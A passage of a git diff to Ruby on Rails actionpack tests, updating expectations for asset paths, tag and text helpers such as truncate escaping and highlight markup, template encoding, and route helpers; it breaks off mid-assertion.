-      "http://assets-999.example.com"
-    end
-    assert_match %r{http://assets-999.example.com/assets/logo-[0-9a-f]+.png},
-      asset_path("logo.png")
-  end
-
-  test "stylesheets served with a controller in scope can access the request" do
-    config.asset_host = Proc.new do |asset, request|
-      assert_not_nil request
-      "http://assets-666.example.com"
-    end
-    assert_match %r{http://assets-666.example.com/assets/logo-[0-9a-f]+.png},
-      asset_path("logo.png")
-  end
-
-  test "stylesheets served without a controller in scope cannot access the request" do
-    @controller = nil
-    @config.asset_host = Proc.new do |asset, request|
-      fail "This should not have been called."
-    end
-    assert_raises ActionController::RoutingError do
-      asset_path("logo.png")
-    end
-  end
-
-  test "image_tag" do
-    assert_dom_equal '<img alt="Xml" src="/assets/xml.png" />', image_tag("xml.png")
-  end
-
-  test "image_path" do
-    assert_match %r{/assets/logo-[0-9a-f]+.png},
-      image_path("logo.png")
-
-    assert_match %r{/assets/logo-[0-9a-f]+.png},
-      path_to_image("logo.png")
-  end
-
-  test "javascript_path" do
-    assert_match %r{/assets/application-[0-9a-f]+.js},
-      javascript_path("application.js")
-
-    assert_match %r{/assets/application-[0-9a-f]+.js},
-      path_to_javascript("application.js")
-  end
-
-  test "stylesheet_path" do
-    assert_match %r{/assets/application-[0-9a-f]+.css},
-      stylesheet_path("application.css")
-
-    assert_match %r{/assets/application-[0-9a-f]+.css},
-      path_to_stylesheet("application.css")
-  end
-
-  test "stylesheets served without a controller in do not use asset hosts when the default protocol is :request" do
-    @controller = nil
-    @config.asset_host = "assets-%d.example.com"
-    @config.default_asset_host_protocol = :request
-    @config.perform_caching = true
-
-    assert_match %r{/assets/logo-[0-9a-f]+.png},
-      asset_path("logo.png")
-  end
-
-  test "asset path with relative url root" do
-    @controller.config.relative_url_root = "/collaboration/hieraki"
-    assert_equal "/collaboration/hieraki/images/logo.gif",
-     asset_path("/images/logo.gif")
-  end
-
-  test "asset path with relative url root when controller isn't present but relative_url_root is" do
-    @controller = nil
-    @config.relative_url_root = "/collaboration/hieraki"
-    assert_equal "/collaboration/hieraki/images/logo.gif",
-     asset_path("/images/logo.gif")
-  end
-
-  test "javascript path through asset_path" do
-    assert_match %r{/assets/application-[0-9a-f]+.js},
-      asset_path(:application, :ext => "js")
-
-    assert_match %r{/assets/xmlhr-[0-9a-f]+.js},
-      asset_path("xmlhr", :ext => "js")
-    assert_match %r{/assets/dir/xmlhr-[0-9a-f]+.js},
-      asset_path("dir/xmlhr.js", :ext => "js")
-
-    assert_equal "/dir/xmlhr.js",
-      asset_path("/dir/xmlhr", :ext => "js")
-
-    assert_equal "http://www.example.com/js/xmlhr",
-      asset_path("http://www.example.com/js/xmlhr", :ext => "js")
-    assert_equal "http://www.example.com/js/xmlhr.js",
-      asset_path("http://www.example.com/js/xmlhr.js", :ext => "js")
-  end
-
-  test "javascript include tag" do
-    assert_match %r{<script src="/assets/application-[0-9a-f]+.js" type="text/javascript"></script>},
-      javascript_include_tag(:application)
-    assert_match %r{<script src="/assets/application-[0-9a-f]+.js" type="text/javascript"></script>},
-      javascript_include_tag(:application, :digest => true)
-    assert_match %r{<script src="/assets/application.js" type="text/javascript"></script>},
-      javascript_include_tag(:application, :digest => false)
-
-    assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js" type="text/javascript"></script>},
-      javascript_include_tag("xmlhr")
-    assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js" type="text/javascript"></script>},
-      javascript_include_tag("xmlhr.js")
-    assert_equal '<script src="http://www.example.com/xmlhr" type="text/javascript"></script>',
-      javascript_include_tag("http://www.example.com/xmlhr")
-
-    assert_match %r{<script src=\"/assets/xmlhr-[0-9a-f]+.js" type=\"text/javascript\"></script>\n<script src=\"/assets/extra-[0-9a-f]+.js" type=\"text/javascript\"></script>},
-      javascript_include_tag("xmlhr", "extra")
-
-    assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js\?body=1" type="text/javascript"></script>\n<script src="/assets/application-[0-9a-f]+.js\?body=1" type="text/javascript"></script>},
-      javascript_include_tag(:application, :debug => true)
-
-    @config.assets.compile = true
-    @config.assets.debug = true
-    assert_match %r{<script src="/javascripts/application.js" type="text/javascript"></script>},
-      javascript_include_tag('/javascripts/application')
-    assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js\?body=1" type="text/javascript"></script>\n<script src="/assets/application-[0-9a-f]+.js\?body=1" type="text/javascript"></script>},
-      javascript_include_tag(:application)
-  end
-
-  test "stylesheet path through asset_path" do
-    assert_match %r{/assets/application-[0-9a-f]+.css}, asset_path(:application, :ext => "css")
-
-    assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", :ext => "css")
-    assert_match %r{/assets/dir/style-[0-9a-f]+.css}, asset_path("dir/style.css", :ext => "css")
-    assert_equal "/dir/style.css", asset_path("/dir/style.css", :ext => "css")
-
-    assert_equal "http://www.example.com/css/style",
-      asset_path("http://www.example.com/css/style", :ext => "css")
-    assert_equal "http://www.example.com/css/style.css",
-      asset_path("http://www.example.com/css/style.css", :ext => "css")
-  end
-
-  test "stylesheet link tag" do
-    assert_match %r{<link href="/assets/application-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag(:application)
-    assert_match %r{<link href="/assets/application-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag(:application, :digest => true)
-    assert_match %r{<link href="/assets/application.css" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag(:application, :digest => false)
-
-    assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag("style")
-    assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag("style.css")
-
-    assert_equal '<link href="http://www.example.com/style.css" media="screen" rel="stylesheet" type="text/css" />',
-      stylesheet_link_tag("http://www.example.com/style.css")
-    assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="all" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag("style", :media => "all")
-    assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="print" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag("style", :media => "print")
-
-    assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/extra-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag("style", "extra")
-
-    assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag(:application, :debug => true)
-
-    @config.assets.compile = true
-    @config.assets.debug = true
-    assert_match %r{<link href="/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag('/stylesheets/application')
-
-    assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag(:application)
-
-    assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="print" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="print" rel="stylesheet" type="text/css" />},
-      stylesheet_link_tag(:application, :media => "print")
-  end
-
-  test "alternate asset prefix" do
-    stubs(:asset_prefix).returns("/themes/test")
-    assert_match %r{/themes/test/style-[0-9a-f]+.css}, asset_path("style", :ext => "css")
-  end
-
-  test "alternate asset environment" do
-    assets = Sprockets::Environment.new
-    assets.append_path(FIXTURES.join("sprockets/alternate/stylesheets"))
-    stubs(:asset_environment).returns(assets)
-    assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", :ext => "css")
-  end
-
-  test "alternate hash based on environment" do
-    assets = Sprockets::Environment.new
-    assets.version = 'development'
-    assets.append_path(FIXTURES.join("sprockets/alternate/stylesheets"))
-    stubs(:asset_environment).returns(assets)
-    dev_path = asset_path("style", :ext => "css")
-
-    assets.version = 'production'
-    prod_path = asset_path("style", :ext => "css")
-
-    assert_not_equal prod_path, dev_path
-  end
-
-  test "precedence of `config.digest = false` over manifest.yml asset digests" do
-    Rails.application.config.assets.digests = {'logo.png' => 'logo-d1g3st.png'}
-    @config.assets.digest = false
-
-    assert_equal '/assets/logo.png',
-      asset_path("logo.png")
-  end
-end
diff --git a/actionpack/test/template/streaming_render_test.rb b/actionpack/test/template/streaming_render_test.rb
index 4d01352b43..520bf3a824 100644
--- a/actionpack/test/template/streaming_render_test.rb
+++ b/actionpack/test/template/streaming_render_test.rb
@@ -106,4 +106,4 @@ class FiberedTest < ActiveSupport::TestCase
       buffered_render(:template => "test/nested_streaming", :layout => "layouts/streaming")
   end
 
-end if defined?(Fiber)
+end
diff --git a/actionpack/test/template/tag_helper_test.rb b/actionpack/test/template/tag_helper_test.rb
index 60b466a9ff..f0a7ce0bc9 100644
--- a/actionpack/test/template/tag_helper_test.rb
+++ b/actionpack/test/template/tag_helper_test.rb
@@ -1,6 +1,8 @@
 require 'abstract_unit'
 
 class TagHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
   tests ActionView::Helpers::TagHelper
 
   def test_tag
@@ -28,8 +30,8 @@ class TagHelperTest < ActionView::TestCase
   end
 
   def test_tag_options_converts_boolean_option
-    assert_equal '<p disabled="disabled" multiple="multiple" readonly="readonly" />',
-      tag("p", :disabled => true, :multiple => true, :readonly => true)
+    assert_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" />',
+      tag("p", :disabled => true, :itemscope => true, :multiple => true, :readonly => true)
   end
 
   def test_content_tag
@@ -44,12 +46,12 @@ class TagHelperTest < ActionView::TestCase
   end
 
   def test_content_tag_with_block_in_erb
-    buffer = content_tag(:div) { concat "Hello world!" }
+    buffer = render_erb("<%= content_tag(:div) do %>Hello world!<% end %>")
     assert_dom_equal "<div>Hello world!</div>", buffer
   end
 
   def test_content_tag_with_block_and_options_in_erb
-    buffer = content_tag(:div, :class => "green") { concat "Hello world!" }
+    buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
     assert_dom_equal %(<div class="green">Hello world!</div>), buffer
   end
 
@@ -68,10 +70,8 @@ class TagHelperTest < ActionView::TestCase
                  output_buffer
   end
 
-  # TAG TODO: Move this into a real template
   def test_content_tag_nested_in_content_tag_in_erb
-    buffer = content_tag("p") { concat content_tag("b", "Hello") }
-    assert_equal '<p><b>Hello</b></p>', buffer
+    assert_equal "<p>\n  <b>Hello</b>\n</p>", view.render("test/content_tag_nested_in_content_tag")
   end
 
   def test_content_tag_with_escaped_array_class
@@ -91,6 +91,11 @@ class TagHelperTest < ActionView::TestCase
     assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
   end
 
+  def test_cdata_section_splitted
+    assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
+    assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
+  end
+
   def test_escape_once
     assert_equal '1 &lt; 2 &amp; 3', escape_once('1 < 2 &amp; 3')
   end
@@ -113,8 +118,8 @@ class TagHelperTest < ActionView::TestCase
 
   def test_data_attributes
     ['data', :data].each { |data|
-      assert_dom_equal '<a data-a-number="1" data-array="[1,2,3]" data-hash="{&quot;key&quot;:&quot;value&quot;}" data-string="hello" data-symbol="foo" />',
-        tag('a', { data => { :a_number => 1, :string => 'hello', :symbol => :foo, :array => [1, 2, 3], :hash => { :key => 'value'} } })
+      assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{&quot;key&quot;:&quot;value&quot;}" data-string="hello" data-symbol="foo" />',
+        tag('a', { data => { :a_float => 3.14, :a_big_decimal => BigDecimal.new("-123.456"), :a_number => 1, :string => 'hello', :symbol => :foo, :array => [1, 2, 3], :hash => { :key => 'value'} } })
     }
   end
 end
diff --git a/actionpack/test/template/template_error_test.rb b/actionpack/test/template/template_error_test.rb
index 3a874082d9..91424daeed 100644
--- a/actionpack/test/template/template_error_test.rb
+++ b/actionpack/test/template/template_error_test.rb
@@ -2,12 +2,12 @@ require "abstract_unit"
 
 class TemplateErrorTest < ActiveSupport::TestCase
   def test_provides_original_message
-    error = ActionView::Template::Error.new("test", {}, Exception.new("original"))
+    error = ActionView::Template::Error.new("test", Exception.new("original"))
     assert_equal "original", error.message
   end
 
   def test_provides_useful_inspect
-    error = ActionView::Template::Error.new("test", {}, Exception.new("original"))
+    error = ActionView::Template::Error.new("test", Exception.new("original"))
     assert_equal "#<ActionView::Template::Error: original>", error.inspect
   end
 end
diff --git a/actionpack/test/template/template_test.rb b/actionpack/test/template/template_test.rb
index 70ca876c67..061f5bb53f 100644
--- a/actionpack/test/template/template_test.rb
+++ b/actionpack/test/template/template_test.rb
@@ -11,6 +11,8 @@ class TestERBTemplate < ActiveSupport::TestCase
 
     def find_template(*args)
     end
+
+    attr_accessor :formats
   end
 
   class Context
@@ -37,7 +39,7 @@ class TestERBTemplate < ActiveSupport::TestCase
     end
 
     def logger
-      Logger.new(STDERR)
+      ActiveSupport::Logger.new(STDERR)
     end
 
     def my_buffer
@@ -46,7 +48,7 @@ class TestERBTemplate < ActiveSupport::TestCase
   end
 
   def new_template(body = "<%= hello %>", details = {})
-    ActionView::Template.new(body, "hello template", ERBHandler, {:virtual_path => "hello"}.merge!(details))
+    ActionView::Template.new(body, "hello template", details.fetch(:handler) { ERBHandler }, {:virtual_path => "hello"}.merge!(details))
   end
 
   def render(locals = {})
@@ -62,6 +64,11 @@ class TestERBTemplate < ActiveSupport::TestCase
     assert_equal "Hello", render
   end
 
+  def test_raw_template
+    @template = new_template("<%= hello %>", :handler => ActionView::Template::Handlers::Raw.new)
+    assert_equal "<%= hello %>", render
+  end
+
   def test_template_loses_its_source_after_rendering
     @template = new_template
     render
@@ -77,7 +84,7 @@ class TestERBTemplate < ActiveSupport::TestCase
   def test_locals
     @template = new_template("<%= my_local %>")
     @template.locals = [:my_local]
-    assert_equal "I'm a local", render(:my_local => "I'm a local")
+    assert_equal "I am a local", render(:my_local => "I am a local")
   end
 
   def test_restores_buffer
@@ -114,66 +121,65 @@ class TestERBTemplate < ActiveSupport::TestCase
     end
   end
 
-  if "ruby".encoding_aware?
-    def test_resulting_string_is_utf8
-      @template = new_template
-      assert_equal Encoding::UTF_8, render.encoding
-    end
+  def test_resulting_string_is_utf8
+    @template = new_template
+    assert_equal Encoding::UTF_8, render.encoding
+  end
+
+  def test_no_magic_comment_word_with_utf_8
+    @template = new_template("hello \u{fc}mlat")
+    assert_equal Encoding::UTF_8, render.encoding
+    assert_equal "hello \u{fc}mlat", render
+  end
 
-    def test_no_magic_comment_word_with_utf_8
-      @template = new_template("hello \u{fc}mlat")
+  # This test ensures that if the default_external
+  # is set to something other than UTF-8, we don't
+  # get any errors and get back a UTF-8 String.
+  def test_default_external_works
+    with_external_encoding "ISO-8859-1" do
+      @template = new_template("hello \xFCmlat")
       assert_equal Encoding::UTF_8, render.encoding
       assert_equal "hello \u{fc}mlat", render
     end
+  end
 
-    # This test ensures that if the default_external
-    # is set to something other than UTF-8, we don't
-    # get any errors and get back a UTF-8 String.
-    def test_default_external_works
-      with_external_encoding "ISO-8859-1" do
-        @template = new_template("hello \xFCmlat")
-        assert_equal Encoding::UTF_8, render.encoding
-        assert_equal "hello \u{fc}mlat", render
-      end
-    end
-
-    def test_encoding_can_be_specified_with_magic_comment
-      @template = new_template("# encoding: ISO-8859-1\nhello \xFCmlat")
-      assert_equal Encoding::UTF_8, render.encoding
-      assert_equal "\nhello \u{fc}mlat", render
-    end
+  def test_encoding_can_be_specified_with_magic_comment
+    @template = new_template("# encoding: ISO-8859-1\nhello \xFCmlat")
+    assert_equal Encoding::UTF_8, render.encoding
+    assert_equal "\nhello \u{fc}mlat", render
+  end
 
-    # TODO: This is currently handled inside ERB. The case of explicitly
-    # lying about encodings via the normal Rails API should be handled
-    # inside Rails.
-    def test_lying_with_magic_comment
-      assert_raises(ActionView::Template::Error) do
-        @template = new_template("# encoding: UTF-8\nhello \xFCmlat", :virtual_path => nil)
-        render
-      end
+  # TODO: This is currently handled inside ERB. The case of explicitly
+  # lying about encodings via the normal Rails API should be handled
+  # inside Rails.
+  def test_lying_with_magic_comment
+    assert_raises(ActionView::Template::Error) do
+      @template = new_template("# encoding: UTF-8\nhello \xFCmlat", :virtual_path => nil)
+      render
     end
+  end
 
-    def test_encoding_can_be_specified_with_magic_comment_in_erb
-      with_external_encoding Encoding::UTF_8 do
-        @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", :virtual_path => nil)
-        assert_equal Encoding::UTF_8, render.encoding
-        assert_equal "hello \u{fc}mlat", render
-      end
+  def test_encoding_can_be_specified_with_magic_comment_in_erb
+    with_external_encoding Encoding::UTF_8 do
+      @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", :virtual_path => nil)
+      assert_equal Encoding::UTF_8, render.encoding
+      assert_equal "hello \u{fc}mlat", render
     end
+  end
 
-    def test_error_when_template_isnt_valid_utf8
-      assert_raises(ActionView::Template::Error, /\xFC/) do
-        @template = new_template("hello \xFCmlat", :virtual_path => nil)
-        render
-      end
+  def test_error_when_template_isnt_valid_utf8
+    assert_raises(ActionView::Template::Error, /\xFC/) do
+      @template = new_template("hello \xFCmlat", :virtual_path => nil)
+      render
     end
+  end
 
-    def with_external_encoding(encoding)
-      old = Encoding.default_external
-      silence_warnings { Encoding.default_external = encoding }
-      yield
-    ensure
-      silence_warnings { Encoding.default_external = old }
-    end
+  def with_external_encoding(encoding)
+    old = Encoding.default_external
+    Encoding::Converter.new old, encoding if old != encoding
+    silence_warnings { Encoding.default_external = encoding }
+    yield
+  ensure
+    silence_warnings { Encoding.default_external = old }
   end
 end
diff --git a/actionpack/test/template/test_case_test.rb b/actionpack/test/template/test_case_test.rb
index a75f1bc981..387aafebd4 100644
--- a/actionpack/test/template/test_case_test.rb
+++ b/actionpack/test/template/test_case_test.rb
@@ -68,14 +68,14 @@ module ActionView
       assert_nil self.class.determine_default_helper_class("String")
     end
 
-    test "delegates notice to request.flash" do
-      view.request.flash.expects(:notice).with("this message")
-      view.notice("this message")
+    test "delegates notice to request.flash[:notice]" do
+      view.request.flash.expects(:[]).with(:notice)
+      view.notice
     end
 
-    test "delegates alert to request.flash" do
-      view.request.flash.expects(:alert).with("this message")
-      view.alert("this message")
+    test "delegates alert to request.flash[:alert]" do
+      view.request.flash.expects(:[]).with(:alert)
+      view.alert
     end
 
     test "uses controller lookup context" do
@@ -155,7 +155,7 @@ module ActionView
     test "view_assigns excludes internal ivars" do
       INTERNAL_IVARS.each do |ivar|
         assert defined?(ivar), "expected #{ivar} to be defined"
-        assert !view_assigns.keys.include?(ivar.sub('@','').to_sym), "expected #{ivar} to be excluded from view_assigns"
+        assert !view_assigns.keys.include?(ivar.to_s.sub('@', '').to_sym), "expected #{ivar} to be excluded from view_assigns"
       end
     end
   end
@@ -222,6 +222,25 @@ module ActionView
       end
     end
 
+    test "is able to use mounted routes" do
+      with_routing do |set|
+        app = Class.new do
+          def self.routes
+            @routes ||= ActionDispatch::Routing::RouteSet.new
+          end
+
+          routes.draw { get "bar", :to => lambda {} }
+
+          def self.call(*)
+          end
+        end
+
+        set.draw { mount app => "/foo", :as => "foo_app" }
+
+        assert_equal '/foo/bar', foo_app.bar_path
+      end
+    end
+
     test "named routes can be used from helper included in view" do
       with_routing do |set|
         set.draw { resources :contents }
@@ -277,6 +296,12 @@ module ActionView
   end
 
   class RenderTemplateTest < ActionView::TestCase
+    test "supports specifying templates with a Regexp" do
+      controller.controller_path = "fun"
+      render(:template => "fun/games/hello_world")
+      assert_template %r{\Afun/games/hello_world\Z}
+    end
+
     test "supports specifying partials" do
       controller.controller_path = "test"
       render(:template => "test/calling_partial_with_layout")
diff --git a/actionpack/test/template/test_test.rb b/actionpack/test/template/test_test.rb
index adcbf1447f..108a674d95 100644
--- a/actionpack/test/template/test_test.rb
+++ b/actionpack/test/template/test_test.rb
@@ -48,7 +48,7 @@ class PeopleHelperTest < ActionView::TestCase
     def with_test_route_set
       with_routing do |set|
         set.draw do
-          match 'people', :to => 'people#index', :as => :people
+          get 'people', :to => 'people#index', :as => :people
         end
         yield
       end
diff --git a/actionpack/test/template/testing/fixture_resolver_test.rb b/actionpack/test/template/testing/fixture_resolver_test.rb
index de83540468..9649f349cb 100644
--- a/actionpack/test/template/testing/fixture_resolver_test.rb
+++ b/actionpack/test/template/testing/fixture_resolver_test.rb
@@ -8,8 +8,8 @@ class FixtureResolverTest < ActiveSupport::TestCase
   end
 
   def test_should_return_template_for_declared_path
-    resolver = ActionView::FixtureResolver.new("arbitrary/path" => "this text")
-    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
+    resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
+    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
     assert_equal 1, templates.size, "expected one template"
     assert_equal "this text",      templates.first.source
     assert_equal "arbitrary/path", templates.first.virtual_path
diff --git a/actionpack/test/template/testing/null_resolver_test.rb b/actionpack/test/template/testing/null_resolver_test.rb
index e142506e6a..55ec36e753 100644
--- a/actionpack/test/template/testing/null_resolver_test.rb
+++ b/actionpack/test/template/testing/null_resolver_test.rb
@@ -3,10 +3,10 @@ require 'abstract_unit'
 class NullResolverTest < ActiveSupport::TestCase
   def test_should_return_template_for_any_path
     resolver = ActionView::NullResolver.new()
-    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
+    templates = resolver.find_all("path.erb", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
     assert_equal 1, templates.size, "expected one template"
     assert_equal "Template generated by Null Resolver", templates.first.source
-    assert_equal "arbitrary/path", templates.first.virtual_path
+    assert_equal "arbitrary/path.erb", templates.first.virtual_path.to_s
     assert_equal [:html],          templates.first.formats
   end
 end
diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb
index 02f9609483..c0f694b2bf 100644
--- a/actionpack/test/template/text_helper_test.rb
+++ b/actionpack/test/template/text_helper_test.rb
@@ -1,10 +1,8 @@
 # encoding: utf-8
 require 'abstract_unit'
-require 'testing_sandbox'
 
 class TextHelperTest < ActionView::TestCase
   tests ActionView::Helpers::TextHelper
-  include TestingSandbox
 
   def setup
     super
@@ -48,6 +46,14 @@ class TextHelperTest < ActionView::TestCase
     assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
   end
 
+  def test_simple_format_with_custom_wrapper
+    assert_equal "<div></div>", simple_format(nil, {}, :wrapper_tag => "div")
+  end
+
+  def test_simple_format_with_custom_wrapper_and_multi_line_breaks
+    assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, :wrapper_tag => "div")
+  end
+
   def test_simple_format_should_not_change_the_text_passed
     text = "<b>Ok</b><script>code!</script>"
     text_clone = text.dup
@@ -55,8 +61,18 @@ class TextHelperTest < ActionView::TestCase
     assert_equal text_clone, text
   end
 
-  def test_truncate_should_not_be_html_safe
-    assert !truncate("Hello World!", :length => 12).html_safe?
+  def test_simple_format_does_not_modify_the_html_options_hash
+    options = { :class => "foobar"}
+    passed_options = options.dup
+    simple_format("some text", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_simple_format_does_not_modify_the_options_hash
+    options = { :wrapper_tag => :div, :sanitize => false }
+    passed_options = options.dup
+    simple_format("some text", {}, passed_options)
+    assert_equal options, passed_options
   end
 
   def test_truncate
@@ -64,10 +80,6 @@ class TextHelperTest < ActionView::TestCase
     assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12)
   end
 
-  def test_truncate_should_not_escape_input
-    assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12)
-  end
-
   def test_truncate_should_use_default_length_of_30
     str = "This is a string that will go longer then the default truncate length of 30"
     assert_equal str[0...27] + "...", truncate(str)
@@ -82,25 +94,63 @@ class TextHelperTest < ActionView::TestCase
     assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 15, :separator => ' ')
   end
 
-  if RUBY_VERSION < '1.9.0'
-    def test_truncate_multibyte
-      with_kcode 'none' do
-        assert_equal "\354\225\210\353\205\225\355...", truncate("\354\225\210\353\205\225\355\225\230\354\204\270\354\232\224", :length => 10)
-      end
-      with_kcode 'u' do
-        assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...",
-          truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244", :length => 10)
-      end
-    end
-  else
-    def test_truncate_multibyte
-      # .mb_chars always returns a UTF-8 String.
-      # assert_equal "\354\225\210\353\205\225\355...",
-      #   truncate("\354\225\210\353\205\225\355\225\230\354\204\270\354\232\224", :length => 10)
+  def test_truncate_multibyte
+    assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding('UTF-8'),
+      truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8'), :length => 10)
+  end
+
+  def test_truncate_does_not_modify_the_options_hash
+    options = { :length => 10 }
+    passed_options = options.dup
+    truncate("some text", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_truncate_with_link_options
+    assert_equal "Here is a long test and ...<a href=\"#\">Continue</a>",
+    truncate("Here is a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+  end
+
+  def test_truncate_should_be_html_safe
+    assert truncate("Hello World!", :length => 12).html_safe?
+  end
+
+  def test_truncate_should_escape_the_input
+    assert_equal "Hello &lt;sc...", truncate("Hello <script>code!</script>World!!", :length => 12)
+  end
+
+  def test_truncate_should_not_escape_the_input_with_escape_false
+    assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
+  end
+
+  def test_truncate_with_escape_false_should_be_html_safe
+    truncated = truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
+    assert truncated.html_safe?
+  end
+
+  def test_truncate_with_block_should_be_html_safe
+    truncated = truncate("Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+    assert truncated.html_safe?
+  end
+
+  def test_truncate_with_block_should_escape_the_input
+    assert_equal "&lt;script&gt;code!&lt;/script&gt;He...<a href=\"#\">Continue</a>",
+      truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+  end
+
+  def test_truncate_with_block_should_not_escape_the_input_with_escape_false
+    assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
+      truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
+  end
+
+  def test_truncate_with_block_with_escape_false_should_be_html_safe
+    truncated = truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
+    assert truncated.html_safe?
+  end
 
-      assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding('UTF-8'),
-        truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8'), :length => 10)
-    end
+  def test_truncate_with_block_should_escape_the_block
+    assert_equal "Here is a long test and ...&lt;script&gt;alert(&#x27;foo&#x27;);&lt;/script&gt;",
+      truncate("Here is a long test and I need a continue to read link", :length => 27) { "<script>alert('foo');</script>" }
   end
 
   def test_highlight_should_be_html_safe
@@ -109,18 +159,18 @@ class TextHelperTest < ActionView::TestCase
 
   def test_highlight
     assert_equal(
-      "This is a <strong class=\"highlight\">beautiful</strong> morning",
+      "This is a <mark>beautiful</mark> morning",
       highlight("This is a beautiful morning", "beautiful")
     )
 
     assert_equal(
-      "This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day",
+      "This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day",
       highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
     )
 
     assert_equal(
       "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
-      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", '<b>\1</b>')
+      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
     )
 
     assert_equal(
@@ -133,104 +183,107 @@ class TextHelperTest < ActionView::TestCase
 
   def test_highlight_should_sanitize_input
     assert_equal(
-      "This is a <strong class=\"highlight\">beautiful</strong> morning",
+      "This is a <mark>beautiful</mark> morning",
       highlight("This is a beautiful morning<script>code!</script>", "beautiful")
     )
   end
 
   def test_highlight_should_not_sanitize_if_sanitize_option_if_false
     assert_equal(
-      "This is a <strong class=\"highlight\">beautiful</strong> morning<script>code!</script>",
+      "This is a <mark>beautiful</mark> morning<script>code!</script>",
       highlight("This is a beautiful morning<script>code!</script>", "beautiful", :sanitize => false)
     )
   end
 
   def test_highlight_with_regexp
     assert_equal(
-      "This is a <strong class=\"highlight\">beautiful!</strong> morning",
+      "This is a <mark>beautiful!</mark> morning",
       highlight("This is a beautiful! morning", "beautiful!")
     )
 
     assert_equal(
-      "This is a <strong class=\"highlight\">beautiful! morning</strong>",
+      "This is a <mark>beautiful! morning</mark>",
